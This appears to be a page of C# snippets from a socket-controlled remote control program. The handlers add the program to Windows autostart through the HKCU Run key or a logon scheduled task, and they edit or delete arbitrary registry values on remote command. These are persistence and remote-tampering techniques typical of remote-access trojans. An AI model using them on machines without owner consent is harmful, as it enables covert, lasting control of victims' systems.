示例#1
0
        public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            RequestAutoRun req = reqObj as RequestAutoRun;

            ResponseAutoRun resp = new ResponseAutoRun();

            try
            {
                if (req.AutoRunMode == eAutoRunMode.ByRegistry)
                {
                    RequestOpeRegistryValueName reqOpeRegistry = new RequestOpeRegistryValueName();
                    reqOpeRegistry.KeyRoot   = eRegistryHive.CurrentUser;
                    reqOpeRegistry.KeyPath   = @"Software\Microsoft\Windows\CurrentVersion\Run";
                    reqOpeRegistry.ValueName = "rc";
                    if (req.OperationMode == OpeType.New)
                    {
                        reqOpeRegistry.Operation = OpeType.New;
                        reqOpeRegistry.Value     = CommonUtil.GetEntryExecutablePath();
                    }
                    else if (req.OperationMode == OpeType.Delete)
                    {
                        reqOpeRegistry.Operation = OpeType.Delete;
                    }
                    else
                    {
                        return;
                    }
                    RequestOpeRegistryValueNameHandler.OpeRegistry(reqOpeRegistry);
                }
                else if (req.AutoRunMode == eAutoRunMode.BySchedualTask)
                {
                    SchTaskUtil.DeleteSchedule("rc");
                    if (req.OperationMode == OpeType.New)
                    {
                        SchTaskUtil.CreateScheduleOnLogon("rc", CommonUtil.GetEntryExecutablePath());
                    }
                }
            }
            catch (Exception ex)
            {
                resp.Result  = false;
                resp.Message = ex.ToString();
                resp.Detail  = ex.StackTrace.ToString();
            }

            session.Send(ePacketType.PACKET_AUTORUN_RESPONSE, resp);
        }
示例#2
0
        public void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            RequestOpeRegistryValueName req = reqObj as RequestOpeRegistryValueName;

            ResponseOpeRegistryValueName resp = new ResponseOpeRegistryValueName();

            try
            {
                OpeRegistry(req);
            }
            catch (Exception ex)
            {
                resp.Result  = false;
                resp.Message = ex.ToString();
                resp.Detail  = ex.StackTrace.ToString();
            }

            session.Send(ePacketType.PACKET_OPE_REGISTRY_VALUE_NAME_RESPONSE, resp);
        }
示例#3
0
        public static void OpeRegistry(RequestOpeRegistryValueName req)
        {
            RegistryKey rootKey = RegistryKey.OpenBaseKey(
                (RegistryHive)req.KeyRoot,
                Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32);

            RegistryKey subKey          = rootKey.OpenSubKey(req.KeyPath, true);
            bool        valueNameExists = subKey.GetValueNames().ToList().Contains(req.ValueName);

            if (req.Operation == OpeType.Delete)
            {
                if (valueNameExists)
                {
                    subKey.DeleteValue(req.ValueName);
                }
            }
            else if (req.Operation == OpeType.New || req.Operation == OpeType.Edit)
            {
                subKey.SetValue(req.ValueName, req.Value, (RegistryValueKind)req.ValueKind);
            }
        }